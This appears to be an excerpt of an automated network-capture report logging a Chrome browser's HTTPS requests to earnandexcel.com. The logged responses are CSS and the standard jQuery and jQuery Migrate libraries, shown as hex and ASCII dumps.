2024-04-11 21:26:38 UTC	411	IN	Data Raw: 69 73 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 20 7b 0a 20 20 6c 65 66 74 3a 20 37 65 6d 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 6c 64 73 2d 65 6c 6c 69 70 73 69 73 33 20 30 2e 36 73 20 69 6e 66 69 6e 69 74 65 3b 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 6c 64 73 2d 65 6c 6c 69 70 73 69 73 31 20 7b 0a 20 20 30 25 20 7b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 29 3b 0a 20 20 7d 0a 20 20 31 30 30 25 20 7b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 6c 64 73 2d 65 6c 6c 69 70 73 69 73 33 20 7b 0a 20 20 30 25 20 7b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0a 20 20 7d 0a 20 20 31 30 30 25 20 7b 0a 20 Data Ascii: is div:nth-child(4) { left: 7em; animation: lds-ellipsis3 0.6s infinite;}@keyframes lds-ellipsis1 { 0% { transform: scale(0); } 100% { transform: scale(1); }}@keyframes lds-ellipsis3 { 0% { transform: scale(1); } 100% {
2024-04-11 21:26:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	49738	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:38 UTC	578	OUT	GET /wp-content/uploads/elementor/css/post-32613.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:38 UTC	943	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:38 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e5b6f684337-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"6574fedb-67c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 09 Dec 2023 23:57:15 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yuq%2BARnnSD0R9xd%2Fe%2BsRssa%2FYsDopRX9XM%2FKy%2F%2FAjT%2B3MqC%2BvYlK32RNtc1PugYqp%2FkfH6SfM3Z0ymHZJ6f5hFxNfSp%2BnYDiT0S7OrYR0TjLI%2FmquIyQhH2BPjkOTWdoUQg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:38 UTC	426	IN	Data Raw: 36 37 63 0d 0a 2e 65 6c 65 6d 65 6e 74 6f 72 2d 33 32 36 31 33 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 61 64 30 31 33 31 66 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 72 6f 77 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 73 74 72 65 74 63 68 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 33 32 36 31 33 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 34 63 33 62 63 38 63 20 3e 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 70 6f 70 75 6c 61 74 65 64 7b 6d 61 72 67 69 6e 3a 30 70 78 20 30 70 78 20 30 70 78 20 30 70 78 3b 2d 2d 65 2d 63 6f 6c 75 6d 6e 2d Data Ascii: 67c.elementor-32613 .elementor-element.elementor-element-ad0131f > .elementor-container > .elementor-row{align-items:stretch;}.elementor-32613 .elementor-element.elementor-element-4c3bc8c > .elementor-element-populated{margin:0px 0px 0px 0px;--e-column-
2024-04-11 21:26:38 UTC	1241	IN	Data Raw: 6e 67 3a 30 70 78 20 30 70 78 20 30 70 78 20 30 70 78 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 33 32 36 31 33 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 34 61 37 33 36 39 32 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 33 32 36 31 33 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2d 34 61 37 33 36 39 32 20 2e 74 75 74 6f 72 2d 63 6f 75 72 73 65 2d 64 65 74 61 69 6c 73 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 31 36 31 36 31 36 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 33 32 36 31 33 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 6c 65 6d 65 Data Ascii: ng:0px 0px 0px 0px;}.elementor-32613 .elementor-element.elementor-element-4a73692{text-align:left;}.elementor-32613 .elementor-element.elementor-element-4a73692 .tutor-course-details-title{color:#161616;}.elementor-32613 .elementor-element.elementor-eleme
2024-04-11 21:26:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	49739	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:38 UTC	552	OUT	GET /wp-includes/js/jquery/jquery.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:39 UTC	939	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:39 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e5c68650f6d-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"5f7e2614-15d98" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 07 Oct 2020 20:33:24 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9R7rimGlG4UgWU4wumiRMJGwlhPF5k5V8q2TwOG0XRSJUf9RTxrd8y8zWnco68sIn9pEYtLBEIM7%2FGO0XR43zaNcMBXL8808ti0bTULNsFJJbjQ1R%2FF9KAJxP59coSg5W2s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:39 UTC	430	IN	Data Raw: 35 38 37 36 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 5876/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: lat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 Data Ascii: return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){r
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3d 69 2c 65 7d 2c 67 72 Data Ascii: (e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},gr
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2a 2c 22 2b Data Ascii: \\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=new RegExp("^"+M+","+
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 61 6c 6c 28 74 29 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 Data Ascii: e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 7c 22 29 2c Data Ascii: cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("\|"),
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 Data Ascii: r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.create
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3b 69 66 28 22 2a 22 3d 3d 3d 65 29 7b 77 68 69 6c 65 28 6e 3d Data Ascii: urn[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 6c 65 64 3d 21 30 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 64 69 73 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 Data Ascii: hild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.pus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.17	49740	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:38 UTC	560	OUT	GET /wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:39 UTC	942	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:38 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e5cdf7c8c9b-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"5fb52a4e-2bd8" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 18 Nov 2020 14:06:06 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2dQmaZN7BvRDe4pRL4Hf5aAV6NmFn9uMIWXuVaUxz2c1psgK%2Fd9%2FSKcUfHrkBbr6wkoh93Mn03v8QZs09PK%2BJg1ReHieVCnOKUMJnlsqPG9%2BdOaGHWxRYtHsLYjAoFK4grw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:39 UTC	427	IN	Data Raw: 32 62 64 38 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 33 2e 33 2e 32 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f Data Ascii: 2bd8/! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /"undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],functio
2024-04-11 21:26:39 UTC	1369	IN	Data Raw: 72 6e 20 30 3c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 2f 5e 28 5c 64 2b 29 5c 2e 28 5c 64 2b 29 5c 2e 28 5c 64 2b 29 2f 2c 6e 3d 72 2e 65 78 65 63 28 65 29 7c 7c 5b 5d 2c 6f 3d 72 2e 65 78 65 63 28 74 29 7c 7c 5b 5d 2c 69 3d 31 3b 69 3c 3d 33 3b 69 2b 2b 29 7b 69 66 28 2b 6f 5b 69 5d 3c 2b 6e 5b 69 5d 29 72 65 74 75 72 6e 20 31 3b 69 66 28 2b 6e 5b 69 5d 3c 2b 6f 5b 69 5d 29 72 65 74 75 72 6e 2d 31 7d 72 65 74 75 72 6e 20 30 7d 28 73 2e 66 6e 2e 6a 71 75 65 72 79 2c 65 29 7d 73 2e 6d 69 67 72 61 74 65 56 65 72 73 69 6f 6e 3d 22 33 2e 33 2e 32 22 2c 6e 2e 63 6f 6e 73 6f 6c 65 26 26 6e 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 26 26 28 73 26 26 65 28 22 33 2e 30 2e 30 22 29 7c 7c 6e 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 4a Data Ascii: rn 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("J
